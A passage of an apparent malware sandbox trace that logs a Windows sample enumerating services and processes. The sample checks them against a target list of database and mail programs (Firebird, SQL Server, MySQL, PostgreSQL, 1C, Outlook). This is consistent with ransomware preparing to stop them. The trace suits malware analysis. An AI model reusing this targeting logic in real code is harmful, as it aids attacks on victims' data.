	[0103.248] lstrlenW (lpString="ProfSvc") returned 7
	[0103.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0103.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0103.248] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0103.248] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0103.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0103.248] lstrlenW (lpString="RpcEptMapper") returned 12
	[0103.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0103.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0103.248] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0103.248] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0103.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0103.248] lstrlenW (lpString="RpcSs") returned 5
	[0103.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0103.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0103.248] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0103.248] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0103.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0103.248] lstrlenW (lpString="SamSs") returned 5
	[0103.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0103.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0103.249] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0103.249] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0103.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0103.249] lstrlenW (lpString="Schedule") returned 8
	[0103.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0103.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0103.249] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0103.249] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0103.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0103.249] lstrlenW (lpString="SENS") returned 4
	[0103.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0103.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0103.255] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0103.255] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0103.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0103.255] lstrlenW (lpString="ShellHWDetection") returned 16
	[0103.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0103.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0103.255] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0103.255] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0103.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0103.255] lstrlenW (lpString="Spooler") returned 7
	[0103.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0103.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0103.255] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0103.255] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0103.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0103.255] lstrlenW (lpString="swprv") returned 5
	[0103.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1
	[0103.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1
	[0103.255] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1
	[0103.255] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1
	[0103.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1
	[0103.256] lstrlenW (lpString="SysMain") returned 7
	[0103.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0103.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0103.256] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0103.256] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0103.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0103.256] lstrlenW (lpString="Themes") returned 6
	[0103.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0103.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0103.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0103.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0103.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0103.256] lstrlenW (lpString="TrkWks") returned 6
	[0103.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0103.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0103.256] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0103.256] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0103.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0103.256] lstrlenW (lpString="UxSms") returned 5
	[0103.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0103.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0103.256] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0103.256] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0103.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0103.256] lstrlenW (lpString="VSS") returned 3
	[0103.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0103.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0103.257] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0103.257] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0103.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0103.257] lstrlenW (lpString="WdiServiceHost") returned 14
	[0103.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0103.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0103.257] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0103.257] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0103.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0103.257] lstrlenW (lpString="WdiSystemHost") returned 13
	[0103.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0103.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0103.257] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0103.257] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0103.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0103.257] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0103.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0103.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0103.257] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0103.257] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0103.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0103.257] lstrlenW (lpString="Winmgmt") returned 7
	[0103.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0103.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0103.257] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0103.257] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0103.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0103.257] lstrlenW (lpString="WPDBusEnum") returned 10
	[0103.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0103.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0103.258] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0103.258] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0103.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0103.258] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x36ba4f0 | out: hHeap=0x4a0000) returned 1
	[0103.258] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x184
	[0103.260] Process32FirstW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0103.261] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0103.262] lstrlenW (lpString="System") returned 6
	[0103.262] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0103.262] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0103.262] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0103.262] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0103.262] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0103.262] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0103.262] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0103.262] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0103.263] lstrlenW (lpString="smss.exe") returned 8
	[0103.263] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0103.263] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0103.263] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0103.263] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0103.263] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0103.263] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0103.263] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0103.264] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0103.275] lstrlenW (lpString="csrss.exe") returned 9
	[0103.275] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0103.275] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0103.275] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0103.275] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0103.275] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0103.275] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0103.275] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0103.275] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0103.276] lstrlenW (lpString="wininit.exe") returned 11
	[0103.276] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0103.276] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0103.276] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0103.276] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0103.277] lstrlenW (lpString="csrss.exe") returned 9
	[0103.277] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0103.278] lstrlenW (lpString="winlogon.exe") returned 12
	[0103.278] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0103.279] lstrlenW (lpString="services.exe") returned 12
	[0103.279] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0103.280] lstrlenW (lpString="lsass.exe") returned 9
	[0103.280] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0103.281] lstrlenW (lpString="lsm.exe") returned 7
	[0103.281] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0103.281] lstrlenW (lpString="svchost.exe") returned 11
	[0103.282] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0103.283] lstrlenW (lpString="svchost.exe") returned 11
	[0103.283] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0103.283] lstrlenW (lpString="svchost.exe") returned 11
	[0103.284] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0103.284] lstrlenW (lpString="svchost.exe") returned 11
	[0103.284] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0103.285] lstrlenW (lpString="svchost.exe") returned 11
	[0103.285] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0103.286] lstrlenW (lpString="audiodg.exe") returned 11
	[0103.286] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0103.287] lstrlenW (lpString="svchost.exe") returned 11
	[0103.287] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0103.288] lstrlenW (lpString="svchost.exe") returned 11
	[0103.288] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0103.289] lstrlenW (lpString="dwm.exe") returned 7
	[0103.289] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0103.290] lstrlenW (lpString="explorer.exe") returned 12
	[0103.290] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0103.291] lstrlenW (lpString="spoolsv.exe") returned 11
	[0103.291] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0103.299] lstrlenW (lpString="taskhost.exe") returned 12
	[0103.299] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0103.301] lstrlenW (lpString="svchost.exe") returned 11
	[0103.301] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0103.302] lstrlenW (lpString="taskeng.exe") returned 11
	[0103.302] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0103.303] lstrlenW (lpString="taskhost.exe") returned 12
	[0103.303] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="similarlyvaultsquirting.exe")) returned 1
	[0103.304] lstrlenW (lpString="similarlyvaultsquirting.exe") returned 27
	[0103.304] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wisdom-restaurant.exe")) returned 1
	[0103.305] lstrlenW (lpString="wisdom-restaurant.exe") returned 21
	[0103.305] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="zoo.exe")) returned 1
	[0103.306] lstrlenW (lpString="zoo.exe") returned 7
	[0103.306] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formula-graduates.exe")) returned 1
	[0103.307] lstrlenW (lpString="formula-graduates.exe") returned 21
	[0103.307] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determined.exe")) returned 1
	[0103.308] lstrlenW (lpString="determined.exe") returned 14
	[0103.308] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressreflectmovement.exe")) returned 1
	[0103.309] lstrlenW (lpString="expressreflectmovement.exe") returned 26
	[0103.309] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hansen mails.exe")) returned 1
	[0103.310] lstrlenW (lpString="hansen mails.exe") returned 16
	[0103.310] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="choirsas.exe")) returned 1
	[0103.310] lstrlenW (lpString="choirsas.exe") returned 12
	[0103.310] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skirt_races.exe")) returned 1
	[0103.311] lstrlenW (lpString="skirt_races.exe") returned 15
	[0103.311] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actors_radius.exe")) returned 1
	[0103.312] lstrlenW (lpString="actors_radius.exe") returned 17
	[0103.312] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scheduling.exe")) returned 1
	[0103.313] lstrlenW (lpString="scheduling.exe") returned 14
	[0103.313] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="michael.exe")) returned 1
	[0103.314] lstrlenW (lpString="michael.exe") returned 11
	[0103.314] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="worldcatcommonwealth.exe")) returned 1
	[0103.315] lstrlenW (lpString="worldcatcommonwealth.exe") returned 24
	[0103.315] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pleasure.exe")) returned 1
	[0103.316] lstrlenW (lpString="pleasure.exe") returned 12
	[0103.316] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering_subsidiary.exe")) returned 1
	[0103.317] lstrlenW (lpString="entering_subsidiary.exe") returned 23
	[0103.317] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="electron.exe")) returned 1
	[0103.318] lstrlenW (lpString="electron.exe") returned 12
